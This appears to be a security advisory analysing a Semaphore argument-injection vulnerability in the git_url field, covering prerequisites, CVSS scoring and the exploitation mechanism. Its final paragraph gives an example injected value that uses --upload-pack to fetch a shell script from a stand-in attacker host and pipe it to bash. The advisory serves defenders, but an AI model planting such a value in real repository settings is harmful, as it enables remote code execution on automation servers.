Semaphore CVE-2026-73682

The attacker must be authenticated to Semaphore and hold the Manager or Owner role on at least one project - the standard Member role is insufficient to modify repository git_url values. The Semaphore server must be using the default cmd_git client rather than an alternative git backend. Exploitation is triggered when the server executes a repository operation (clone, fetch, or equivalent) against the attacker-controlled git_url, which may occur automatically on a scheduled basis or when manually triggered through the Semaphore web UI. No non-default server configuration is required beyond the presence of a system git binary accessible to the Semaphore process. Unauthenticated exploitation is not possible per the CVSS PR:L vector; an external attacker without a Manager or Owner account must first compromise one to proceed. The key limiting factors are: authenticated access required, elevated project role required (Manager or Owner), and the need to trigger a git repository operation against the malicious URL.

The CVSS 4.0 base score of 8.7 (AV:N/AC:L/AT:N/PR:L) correctly characterizes a high-severity, network-exploitable vulnerability gated solely by possession of a Manager or Owner role on any project - a condition common in multi-user team deployments. The attack complexity is low and no attack-requirement prerequisites beyond role possession apply, meaning the technical barrier after initial access is minimal. Even a mid-sized municipal IT team in tczew that relies on Semaphore to automate infrastructure provisioning should treat this as urgent remediation, since Semaphore processes routinely run with elevated OS permissions to invoke Ansible and Terraform against managed hosts, amplifying the blast radius of any code injection. No EPSS data was provided, and this CVE does not appear in the CISA KEV catalog, so widespread active exploitation has not been confirmed - however, the --upload-pack technique requires no novel research and is trivially reproducible. The primary risk-limiting factor is authentication: an unauthenticated external attacker cannot exploit this directly without first compromising a Manager or Owner account. Organizations where these roles are broadly granted across large teams face the widest realistic exposure surface.

An attacker holding the Manager or Owner role on any Semaphore project edits or creates a repository entry and sets the git_url field to a value such as --upload-pack=curl${IFS}attacker.example/shell.sh|bash. When Semaphore's backend triggers a git fetch or clone operation against that repository - whether manually initiated or scheduled - the cmd_git client passes the injected argument verbatim to the system git binary, which executes the embedded shell command under the Semaphore server process's OS account. No public exploit code has been confirmed at time of analysis, but the --upload-pack argument injection technique is well-documented and requires no specialized tooling to reproduce.